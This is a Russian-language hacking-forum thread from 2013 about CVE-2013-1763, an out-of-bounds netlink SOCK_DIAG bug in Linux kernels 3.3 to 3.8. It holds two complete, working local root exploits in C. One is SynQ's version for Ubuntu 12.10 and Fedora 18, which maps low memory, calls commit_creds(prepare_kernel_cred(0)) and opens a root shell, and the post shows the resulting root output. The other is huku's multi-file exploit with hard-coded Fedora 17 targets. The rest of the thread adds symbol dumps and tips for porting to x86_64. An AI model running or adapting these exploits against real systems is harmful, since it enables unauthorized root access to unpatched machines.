Старый 24.02.2013, 13:07   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 882
Репутация: 348
По умолчанию CVE-2013-1763 SOCK_DIAG netlink Linux kernel 3.3-3.8 exploit

Эксплойт для Ubuntu 12.10 x86 | Fedora 18 x86 в 3-ем посте
Эксплойт для Arch 3.3.x-3.7.x x64 в 11-ом посте

Цитата:
commit 614943c76d9e49f12f3e1154f1dea80dc4bb2743
Author: Brad Spengler <spender@grsecurity.net>
Date: Sat Feb 23 11:08:05 2013 -0500

Userland can send a netlink message requesting SOCK_DIAG_BY_FAMILY
with a family greater or equal then AF_MAX -- the array size of
sock_diag_handlers[]. The current code does not test for this
condition therefore is vulnerable to an out-of-bound access opening
doors for a privilege escalation.

Signed-off-by: Mathias Krause <minipli@googlemail.com>

The sock_diag_lock_handler() and sock_diag_unlock_handler() actually
make the code less readable. Get rid of them and make the lock usage
and access to sock_diag_handlers[] clear on the first sight.

Signed-off-by: Mathias Krause <minipli@googlemail.com>

net/core/sock_diag.c | 27 ++++++++++-----------------
1 files changed, 10 insertions(+), 17 deletions(-)
http://lxr.linux.no/linux+*/net/core/sock_diag.c#L120

В ядре лежит массив из 40 указателей на структуры
Код:
static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];
Мы же можем вызвать sock_diag_rcv_msg() с параметром SOCK_DIAG_BY_FAMILY -> __sock_diag_rcv_msg с произвольным значением sdiag_family (больше стандартных 40), тогда за указанным массивом ядро попытается взять указатель на структуру sock_diag_handler, в которой по смещению 4 лежит указатель на функцию dump(), которую затем попытается выполнить.

Код:
 129        hndl = sock_diag_lock_handler(req->sdiag_family); // возвращает адрес массива[наше_1-байтное_число]
 130        if (hndl == NULL)
 131                err = -ENOENT;
 132        else
 133                err = hndl->dump(skb, nlh); // вызов функции по указателю
Быстрый код:
Код:
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syslog.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <resolv.h>
#include <dirent.h>
#include <fnmatch.h>
#include <getopt.h>

#include <netinet/tcp.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>

int main(int argc, char*argv[])
{
	int fd;
	struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
	char	buf[8192];

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
		printf("Can't create sock diag socket\n");
		return -1;
	}

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 123456;

	req.r.sdiag_family = atoi(argv[1]);//AF_UNIX;
	req.r.udiag_states = -1; /* All *///f->states;
	req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;


	int answer;
	answer = send(fd, &req, sizeof(req), 0);
	if (answer < 0) {
		printf("Fuck on send\n");
		close(fd);
		return -1;
	}
	printf("pid=%d, answer=%d, enter:\n",getpid(), answer);
	//getchar();

close_it:
	close(fd);
	return 0;
}
Смотрим в /proc/kallsyms и gdb, где лежит начало массива:
c1a487a0 b sock_diag_handlers
Код:
(gdb) x/120x 0xc1a487a0
0xc1a487a0 <map_pid_to_cmdline+92288>:	0x00000000	0xe0e63024	0xe0fb40b00x00000000
0xc1a487b0 <map_pid_to_cmdline+92304>:	0x00000000	0x00000000	0x000000000x00000000
...
0xc1a48880 <map_pid_to_cmdline+92512>:	0xc1a492b0	0x00113c00	0xc19a30c00xc14ebde0
Видим юзер-ленд адрес по 0xc1a48884, находим элемент массива, к которому надо обратиться, чтобы ядро посмотрело на него:
(0xc1a48884 - 0xc1a487a0 ) / 4 (размер указателя 4 байта) = 57

Цитата:
Ubuntu 12.10
user@ubuntu:~/Desktop$ uname -a
Linux ubuntu 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
user@ubuntu:~/Desktop$ ./nl2 57; echo $?
Killed
137
user@ubuntu:~/Desktop$ dmesg|tail
Цитата:
[ 3835.976700] nl2[4835]: segfault at 0 ip b7642580 sp bfc38700 error 4 in libc-2.15.so[b760e000+1a3000]
[ 4478.238026] BUG: unable to handle kernel paging request at 00113c04
[ 4478.238032] IP: [<c14eb655>] sock_diag_rcv_msg+0xc5/0x140
[ 4478.238041] *pdpt = 000000001bbc7001 *pde = 0000000000000000
[ 4478.238044] Oops: 0000 [#1] SMP
Легкий рут пейлоада здесь пока не будет.

Подвержены 3.3 - 3.8.

Последний раз редактировалось SynQ; 08.03.2013 в 10:15..
SynQ вне форума   Ответить с цитированием
Старый 24.02.2013, 13:16   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 882
Репутация: 348
По умолчанию

Для боевого эксплойта в идеале найти адрес в куске памяти, лежащий после массива sock_diag_handlers[AF_MAX], который мы могли бы менять сами.

Где-то в этом (элемент массива 1 байт - 255 значений, *4 = +0x3fc; 0xc1a487a0 + 0x3fc = c1a48b9c):
Цитата:
c1a487a0 b sock_diag_handlers
c1a48840 B flow_cache_genid
c1a48860 b flow_cache_global
c1a488b0 b flow_cache_gc_lock
c1a488b2 b __key.7168
c1a488b4 b rps_dev_flow_lock.37642
c1a488b6 b rps_map_lock.37599
c1a488b8 b __key.38018
c1a488b8 b skb_pool
c1a488c8 b trapped
c1a488cc b qdisc_base
c1a488d0 b qdisc_rtab_list
c1a488d4 b qdisc_stab_lock
c1a488d8 b act_base
c1a488e0 b nl_table_users
c1a488e4 b nl_table
c1a488e8 b __key.38625
c1a488e8 b __key.38626
c1a488e8 b netlink_chain
c1a48900 b family_ht
c1a48980 B proc_net_netfilter
c1a489a0 B nf_hooks_needed
SynQ вне форума   Ответить с цитированием
Старый 24.02.2013, 16:12   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 882
Репутация: 348
По умолчанию

Будем юзать nl_table:
Код:
static struct netlink_table *nl_table;

 119struct netlink_table {
 120        struct nl_pid_hash      hash;
 121        struct hlist_head       mc_list;
 122        struct listeners __rcu  *listeners;
 123        unsigned int            nl_nonroot;
 124        unsigned int            groups;
 125        struct mutex            *cb_mutex;
 126        struct module           *module;
 127        int                     registered;
 128};

 106struct nl_pid_hash {
 107        struct hlist_head       *table;
 108        unsigned long           rehash_time;
 109
 110        unsigned int            mask;
 111        unsigned int            shift;
 112
 113        unsigned int            entries;
 114        unsigned int            max_shift;
 115
 116        u32                     rnd;
 117};
Итого со смещением 4 байта по указателю на nl_table будет лежать "unsigned long rehash_time", по результату нескольких перезагрузок, его значение лежит между 0x10000 и 0x20000:
Цитата:
0x00012ff5
0x000130b3
0x000136ce
0x00013060
0x00012e97
0x000141c0
Посему quick'n'dirty exploit для Ubuntu 12.10 x86 | Fedora 18 x86:
Код:
/* 
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
* 
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
* 
* Fedora 18 support added
* 
* 2/2013
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))
kernel_code()
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

int jump_payload_not_used(void *skb, void *nlh)
{
	asm volatile (
		"mov $kernel_code, %eax\n"
		"call *%eax\n"
	);
}

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy, sym[512];
	int ret = 0;
 
	f = fopen("/proc/kallsyms", "r");
	if (!f) {
		return 0;
	}
 
	while (ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
		if (ret == 0) {
			fscanf(f, "%s\n", sym);
			continue;
		}
		if (!strcmp(name, sym)) {
			printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);
 
	return 0;
}

int main(int argc, char*argv[])
{
	int fd;
	unsigned family;
	struct {
		struct nlmsghdr nlh;
		struct unix_diag_req r;
	} req;
	char	buf[8192];

	if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
		printf("Can't create sock diag socket\n");
		return -1;
	}

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = sizeof(req);
	req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
	req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 123456;

	//req.r.sdiag_family = 89;
	req.r.udiag_states = -1;
	req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

	if(argc==1){
		printf("Run: %s Fedora|Ubuntu\n",argv[0]);
		return 0;
	}
	else if(strcmp(argv[1],"Fedora")==0){
	  commit_creds = (_commit_creds) get_symbol("commit_creds");
	  prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
	  sock_diag_handlers = get_symbol("sock_diag_handlers");
	  nl_table = get_symbol("nl_table");
	  
	  if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
		printf("some symbols are not available!\n");
		exit(1);
		}

	  family = (nl_table - sock_diag_handlers) / 4;
	  printf("family=%d\n",family);
	  req.r.sdiag_family = family;
	  
	  if(family>255){
		printf("nl_table is too far!\n");
		exit(1);
		}
	}
	else if(strcmp(argv[1],"Ubuntu")==0){
	  commit_creds = (_commit_creds) 0xc106bc60;
	  prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
	  req.r.sdiag_family = 81;
	}

	unsigned long mmap_start, mmap_size;
	mmap_start = 0x10000;
	mmap_size = 0x120000;
	printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
	memset((void*)mmap_start, 0x90, mmap_size);

	char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
	unsigned long *asd = &jump[4];
	*asd = (unsigned long)kernel_code;

	memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

	if ( send(fd, &req, sizeof(req), 0) < 0) {
		printf("bad send\n");
		close(fd);
		return -1;
	}

	printf("uid=%d, euid=%d\n",getuid(), geteuid() );

	if(!getuid())
		system("/bin/sh");

}
Результат:
Цитата:
user@ubuntu:~/Desktop$ uname -a
Linux ubuntu 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
user@ubuntu:~/Desktop$ ./nlexp
mmapping at 0x10000
uid=0, euid=0
# id
uid=0(root) gid=0(root) groups=0(root)

Последний раз редактировалось SynQ; 25.02.2013 в 09:14..
SynQ вне форума   Ответить с цитированием
Старый 24.02.2013, 16:27   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 882
Репутация: 348
По умолчанию

У кого под рукой ядра 3.3+ просьба скинуть вывод "sudo cat /proc/kallsyms|sort|grep sock_diag_handlers -A30" и название дистриба/ядро.
Еще можно, посмотреть в gdb core-file /proc/kcore чему равно значение по (*nl_table)+4.

Также уязвима Федора 18: пришлось увеличить зону mmap, там rehash_time бывает равен 116000. Что удобно, на ней символы не спрятаны, можно вычислять на ходу.
Арч 3.6.* видимо не уязвим (вообще нет sock_diag_handlers).

Последний раз редактировалось SynQ; 25.02.2013 в 09:18..
SynQ вне форума   Ответить с цитированием
Старый 24.02.2013, 20:44   #5
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 345
Репутация: 105
По умолчанию

Цитата:
арч 3.6.* видимо нет
На сегодня у Арча 3.7.9-1
b3 вне форума   Ответить с цитированием
Старый 25.02.2013, 15:26   #6
overxor
 
Регистрация: 14.10.2011
Сообщений: 72
Репутация: 89
По умолчанию

SynQ, отличная работа!

Как я понимаю, на данный момент это одей под ubuntu 12.10 и fedora 18?

ubuntu 12.10 server ядро 3.5.0-25-generic
Цитата:
sudo cat /proc/kallsyms|sort|grep sock_diag_handlers -A30
c1a4c7e0 b sock_diag_handlers
c1a4c880 B flow_cache_genid
c1a4c8a0 b flow_cache_global
c1a4c8f0 b flow_cache_gc_lock
c1a4c8f2 b __key.7167
c1a4c8f4 b rps_dev_flow_lock.37634
c1a4c8f6 b rps_map_lock.37591
c1a4c8f8 b __key.38010
c1a4c8f8 b skb_pool
c1a4c908 b trapped
c1a4c90c b qdisc_base
c1a4c910 b qdisc_rtab_list
c1a4c914 b qdisc_stab_lock
c1a4c918 b act_base
c1a4c920 b nl_table_users
c1a4c924 b nl_table
c1a4c928 b __key.38619
c1a4c928 b __key.38620
c1a4c928 b netlink_chain
c1a4c940 b family_ht
c1a4c9c0 B proc_net_netfilter
c1a4c9e0 B nf_hooks_needed
c1a4cec0 b nf_log_sysctl_fnames
c1a4cf00 b nf_log_sysctl_table
c1a4d0f8 b nf_log_dir_header
c1a4d100 b rt_hash_locks
c1a4d104 b __rt_peer_genid
c1a4d108 b ip_fb_id_lock.47002
c1a4d10c b ip_fallback_id.47004
c1a4d110 b last_gc.46741
c1a4d114 b ip_rt_max_size
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 25.02.2013, 19:06   #7
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,244
По умолчанию

SynQ красавчег

http://seclists.org/oss-sec/2013/q1/427

кстати, почему в бубунте адреса прописываешь вручную? Можно ль побрутить?

Цитата:
commit_creds = (_commit_creds) 0xc106bc60;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
и еще, насколько это правда?

Цитата:
Nice find! Do you happen to know of distro backports of the affected
code to older kernels?

No. I haven't investigated this any further. So I don't know.

When you wrote that the bug is "in there for
ages", did you mean that 3.3 has been out "for ages" or something else?

Kind of. The missing upper bound check was (and still is) in there in
older kernels as well, at times as this code was still living in
inet_diag.c
. But it wasn't (and isn't) vulnerable as the
inet_diag_handlers[] array is 256 elements big. So userland cannot
exploit this as the type for the family is __u8
Цитата:
Since full-disclosure has been DDoSed to oblivion, here's huku's sock_diag 1 year-old exploit:
http://pastebin.com/gwn1qErx
http://seclists.org/oss-sec/2013/q1/431
http://sysc.tl/mpougatsa_me_krema_kai_milko.tgz
mpougatsa_me_krema_kai_milko.tgz:

Код:
#include "shellcode.h"
#include "trigger.h"
#include "vmsuck.h"

typedef int (*dump_t)(void *, struct nlmsghdr *);

struct sock_diag_handler {
  char family;
  dump_t dump;
};

struct target {
  const char *name;
  size_t index;
  void *prepare_kernel_cred;
  void *commit_creds;
};


/* ...just in case you forgot the root password on your Fedora CPanel/Plesk ;) */
static struct target targets[] = {
  /* ... */
  {"Fedora Core 17 3.4.4-3.fc17.i686 #1", 57, VOIDP(0xc045bb50), VOIDP(0xc045b8e0)},
  {"Fedora Core 17 3.5.2-3.fc17.i686 #1", 57, VOIDP(0xc045ec60), VOIDP(0xc045ea20)},
  {"Fedora Core 17 3.5.5-2.fc17.i686 #1", 57, VOIDP(0xc045ed60), VOIDP(0xc045eb20)}
  /* ... */
};

static size_t target_count = sizeof(targets) / sizeof(struct target);

void print_targets(void) {
  int i;

  printf("Available targets:\n");
  for(i = 0; i < target_count; i++)
    printf("  %.2d %s\n", i, targets[i].name);
  printf("\n");
  return;
}


/* Callback for `vmsuck()'; creates a `struct sock_diag_handler' that will
 * be used to fill a 1G file.
 */
int new_sock_diag_handler(void **buf, size_t *size, void *arg) {
  struct sock_diag_handler *sdh;

  sdh = (struct sock_diag_handler *)malloc(sizeof(*sdh));
  sdh->family = AF_UNSPEC;
  sdh->dump = (dump_t)arg;

  *buf = (void *)sdh;
  *size = sizeof(*sdh);
  return EXIT_SUCCESS;
}


int main(int argc, char *argv[]) {
  struct target *t;
  size_t i;

  printf("\n");
  printf("Linux kernel >= 3.2 NETLINK_INET_DIAG 0day\n");
  printf("by huku <huku _at_ grhack _dot_ net>\n");
  printf("\n");

  if(argc < 2 || (i = (size_t)atoi(argv[1])) >= target_count) {
    print_targets();
    return EXIT_FAILURE;
  }

  t = &targets[i];
  printf("Using target \"%s\"\n", t->name);
  prepare = (prepare_kernel_cred_t)t->prepare_kernel_cred;
  commit = (commit_creds_t)t->commit_creds;

  printf("Current uid is %u\n", getuid());

  printf("Sucking up the whole VM space\n");
  if(FAILED(vmsuck(new_sock_diag_handler, (void *)shellcode)))
    return EXIT_FAILURE;

  if(FAILED(trigger(t->index)))
    return EXIT_FAILURE;

  if(getuid() == 0) {
    printf("Kernel was asswooped\n");
    execl("/bin/sh", "/bin/sh", NULL);
  }

  printf("Shit, or what?\n");
  return EXIT_SUCCESS;
}

/* EOF? ;) */

#define _SHELLCODE_H_

#define REGPARM1 __attribute__((regparm(1)))

typedef REGPARM1 void *(*prepare_kernel_cred_t)(void *);
typedef REGPARM1 int (*commit_creds_t)(void *);

extern prepare_kernel_cred_t prepare;
extern commit_creds_t commit;

void shellcode(void);

#endif /* _SHELLCODE_H_ */

#include "vmsuck.h"

/* Create a 1G file used by `mmap()' in `vmsuck()'. */
static int build_vmsuck_file(vmsuck_callback_t vmsuck_cb, void *arg) {
  void *buf;
  size_t i, bufsiz;
  char bigbuf[BUFSIZ];
  int fd;

  if(FAILED(vmsuck_cb(&buf, &bufsiz, arg)))
    return EXIT_FAILURE;

  memset(bigbuf, 0, sizeof(bigbuf));
  for(i = 0; i < BUFSIZ / bufsiz; i++)
    memcpy(bigbuf + i * bufsiz, buf, bufsiz);

  if((fd = open(VMSUCK_FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700)) < 0) {
    perror("open");
    return EXIT_FAILURE;
  }

  for(i = 0; i < ONE_GIGA / sizeof(bigbuf); i++) {
    printf("\rCreating 1G file...%.2f%%", GIGA(lseek(fd, 0, SEEK_CUR)) * 100);
    write(fd, bigbuf, sizeof(bigbuf));
  }
  printf("\n");
 
  close(fd);
  return EXIT_SUCCESS;
}

/* Suck up the whole userspace virtual memory. */
int vmsuck(vmsuck_callback_t vmsuck_cb, void *arg) {
  size_t pagesize_pow2 = (size_t)log2((double)getpagesize());
  size_t pow2 = (size_t)log2((double)ONE_GIGA); 
  size_t size, num, total;
  int fd;
  void *p;

  if(FAILED(build_vmsuck_file(vmsuck_cb, arg)))
    return EXIT_FAILURE;

  fd = open(VMSUCK_FILE_PATH, O_RDONLY);

  total = num = 0;
  size = 1 << pow2;
  while(pow2 >= pagesize_pow2) {
    p = mmap(0, size, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_NORESERVE, 
      fd, ONE_GIGA - size);

    if(p == MAP_FAILED) {
      total += num * size;
#ifdef DEBUG
      printf("2^%zu x %zu\n", pow2, num);
#endif

      pow2--;
      size = 1 << pow2;
      num = 0;
    }
    else {
      num++;
    }
  }

  printf("%zub %fKb %fMb %fGb\n", total, KILO(total), MEGA(total), GIGA(total));
  close(fd);

#ifndef DEBUG
  unlink(VMSUCK_FILE_PATH);
#endif
  return EXIT_SUCCESS;
}

BIN=woopme
CFLAGS=-Wall -Wno-unused-result -std=gnu99 -O2 -ggdb
LDFLAGS=-lm

all: $(OBJS)
	cc $(OBJS) -o $(BIN) $(LDFLAGS)

.PHONY: clean
clean:
	rm -fr $(OBJS) $(BIN) a.out *.core core *~

#include "trigger.h"

#define FROM AF_MAX
#define TO   255

#define SOCK_DIAG_BY_FAMILY 20

/* Trigger the vulnerability, yes that simple. */
int trigger(size_t index) {
  int r = EXIT_FAILURE;
  int fd;
  size_t from, to, i;

  __u8 buf[BUFSIZ];
  struct sockaddr_nl snl;
  struct inet_diag_req *req;
  struct nlmsghdr *nlmsg;
  struct iovec iov;
  struct msghdr msg;

  /* Create and bind the netlink socket; no root privs required. */
  if((fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) {
    perror("socket");
    goto _err;
  }

  memset((void *)&snl, 0, sizeof(snl));
  snl.nl_family = PF_NETLINK;
  snl.nl_pid = getpid();

  if((bind(fd, (struct sockaddr *)&snl, sizeof(struct sockaddr))) < 0) {
    perror("bind");
    goto _err;
  }

  /* Destination: ring0 :) */
  snl.nl_pid = 0;


  /* Invalid index given? (ie. one that won't trigger the bug). */
  if(index < AF_MAX) {
    from = FROM;
    to = TO;
    printf("Will dereference sock_diag_handlers[%zu...%zu]\n", from, to);
  }
  else {
    printf("Will dereference sock_diag_handlers[%zu]\n", index);
    from = to = index;
  }

  for(i = from; i < to + 1; i++) {
    memset(buf, 0, BUFSIZ);

    nlmsg = (struct nlmsghdr *)buf;
    nlmsg->nlmsg_len = NLMSG_LENGTH(sizeof(req));
    nlmsg->nlmsg_pid = getpid();
    nlmsg->nlmsg_flags = NLM_F_REQUEST;
    nlmsg->nlmsg_type = SOCK_DIAG_BY_FAMILY;

    req = (struct inet_diag_req *)NLMSG_DATA(nlmsg);
    req->idiag_family = (__u8)i;

    memset((void *)&iov, 0, sizeof(iov));
    iov.iov_base = (void *)nlmsg;
    iov.iov_len = nlmsg->nlmsg_len;

    memset((void *)&msg, 0, sizeof(msg));
    msg.msg_name = (void *)&snl;
    msg.msg_namelen = sizeof(snl);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if((sendmsg(fd, &msg, 0)) != nlmsg->nlmsg_len) {
      perror("sendmsg");
      goto _err;
    }
  }

  r = EXIT_SUCCESS;

_err:
  close(fd);
  return r;
}

#define _VMSUCK_H_

#include "includes.h"

#define ONE_KILO 1024
#define ONE_MEGA 1048576
#define ONE_GIGA 1073741824

#define KILO(x) (((float)(x)) / ONE_KILO)
#define MEGA(x) (((float)(x)) / ONE_MEGA)
#define GIGA(x) (((float)(x)) / ONE_GIGA)

#define VMSUCK_FILE_PATH "/tmp/ "

/* Returns an allocated buffer and its size. The buffer is used as a fill 
 * pattern for a 1G file used in `vmsuck()'. The last argument can be used
 * by the user to pass arguments to the callback.
 */
typedef int (*vmsuck_callback_t)(void **, size_t *, void *);

int vmsuck(vmsuck_callback_t, void *);

#endif /* _VMSUCK_H_ */

#define _TRIGGER_H_

int trigger(size_t);

#endif /* _TRIGGER_H_ */

#include "shellcode.h"

/* A very sophisticated shellcode (sic). */

prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;

void shellcode(void) {
  commit(prepare(NULL));
  return;
}


the recently published `sock_diag_handlers[]' vulnerability :(

Have a look at the source code, there's a nice trick there (hint: vmsuck.c).

./hk

#define _INCLUDES_H_

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <math.h>

#include <linux/netlink.h>
#include <linux/inet_diag.h>

/* #define DEBUG */

#define VOIDP(x)  ((void *)(x))

#define FAILED(x) ((x) == EXIT_FAILURE)

#endif /* _INCLUDES_H_ */

не стоит и пытаться?

PS:


Код:
/* A very sophisticated shellcode (sic). */

prepare_kernel_cred_t prepare = NULL;
commit_creds_t commit = NULL;

void shellcode(void) {
  commit(prepare(NULL));
  return;
}


Цитата:
Two of the files in the tarball have timestamps of 2012-07-14. Of
course, this is no proof, but it does appear that the bug was privately
known since about July 2012. The README says:

"A trimmed down version of an old exploit for the recently published
`sock_diag_handlers[]' vulnerability"

The code contains:

printf("Linux kernel >= 3.2 NETLINK_INET_DIAG 0day\n");
printf("by huku <huku _at_ grhack _dot_ net>\n");

Is ">= 3.2" an error (should have been ">= 3.3" as your original posting
in here said)? (The difference may be whether Ubuntu 12.04 is affected.)
Вложения
Тип файла: tgz mpougatsa_me_krema_kai_milko.tgz (3.6 Кб, 424 просмотров)

Последний раз редактировалось Pashkela; 25.02.2013 в 20:33..
Pashkela вне форума   Ответить с цитированием
Старый 25.02.2013, 23:33   #8
12309
 
Регистрация: 25.12.2011
Сообщений: 267
Репутация: 32
По умолчанию

что насчёт x86_64?

Код:
ffffffff81d6e2a0 b sock_diag_handlers
ffffffff81d6e3e0 B flow_cache_genid
ffffffff81d6e400 b flow_cache_global
ffffffff81d6e480 b flow_cache_gc_lock
ffffffff81d6e484 b __key.7658
ffffffff81d6e484 b rps_dev_flow_lock.38327
ffffffff81d6e488 b rps_map_lock.38285
ffffffff81d6e48c b __key.38698
ffffffff81d6e490 b skb_pool
ffffffff81d6e4a8 b trapped
ffffffff81d6e4b0 B llc_sap_list_lock
ffffffff81d6e4c0 b llc_type_handlers
ffffffff81d6e4d0 b llc_station_handler
ffffffff81d6e4e0 b snap_sap
ffffffff81d6e4e8 b snap_lock
ffffffff81d6e500 b rif_timer
ffffffff81d6e560 b rif_table
ffffffff81d6e660 b rif_lock
ffffffff81d6e668 b qdisc_base
ffffffff81d6e670 b qdisc_rtab_list
ffffffff81d6e678 b qdisc_stab_lock
ffffffff81d6e680 b act_base
ffffffff81d6e6a0 b nl_table_users
ffffffff81d6e6a8 b nl_table
ffffffff81d6e6b0 b __key.39102
ffffffff81d6e6b0 b __key.39103
ffffffff81d6e6b0 b netlink_chain
ffffffff81d6e6c0 b family_ht
ffffffff81d6e7c0 B proc_net_netfilter
ffffffff81d6e7e0 B nf_hooks_needed
ffffffff81d6f1a0 b nf_log_sysctl_fnames
opensuse 12.2 x86_64, linux 3.4.6-2.10-desktop

Последний раз редактировалось 12309; 25.02.2013 в 23:39.. Причина: x86_64
12309 вне форума   Ответить с цитированием
Старый 26.02.2013, 09:22   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 882
Репутация: 348
По умолчанию

overxor
Pashkela

Спасибо!
Это скорее 1day, обновления ядер прилетают потихоньку.

Pashkela
Цитата:
кстати, почему в бубунте адреса прописываешь вручную? Можно ль побрутить?
В ней теперь /proc/kallsyms для не-рута закрыт, поэтому по-быстрому вписал значения для конкретного ядра. Вообще, уязвимость позволяет отключить защиту от записи страниц памяти и просто исправить вывод /proc/kallsyms, чтобы он выводил адреса commit_creds/prepare_kernel_cred для всех юзеров (поменять %pK на %p как недавно было в exynos эксплойте) и затем вторым запуском уже юзать полученные оттуда, впрочем это не спасает от того, что изначально для работы эксплойта надо знать адрес nl_table...

3.2 неуязвима, и вообще я разочарован эксплойтом huku, ожидал увидеть более надежный вектор, чем у меня, а там просто брутфорс, который не будет работать нигде кроме может объявленных в нем ядер федоры 17. Уж за год можно было написать, что-то лучше.

12309
C х64 проще, если найти место где со смещением 4 лежит указатель и затем int (например 0xffffffff81d6e6a8 0x00000000), можно быть уверенным, что попадем на user-land адрес 0x00000000ffffffff, который выше mmap_min_addr.
Просто спрашиваешь или нужно?

Последний раз редактировалось SynQ; 26.02.2013 в 12:42..
SynQ вне форума   Ответить с цитированием
Старый 26.02.2013, 12:19   #10
12309
 
Регистрация: 25.12.2011
Сообщений: 267
Репутация: 32
По умолчанию

просто спрашиваю. я еще не дорос до написания ядерных эксплоитов
кстати, в f-d выложили линк на эту тему, поэтому
> Здесь присутствуют: 28 (пользователей: 1 , гостей: 27)
12309 вне форума   Ответить с цитированием
Ответ

Метки
exploit, kernel

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2016, Jelsoft Enterprises Ltd. Перевод: zCarot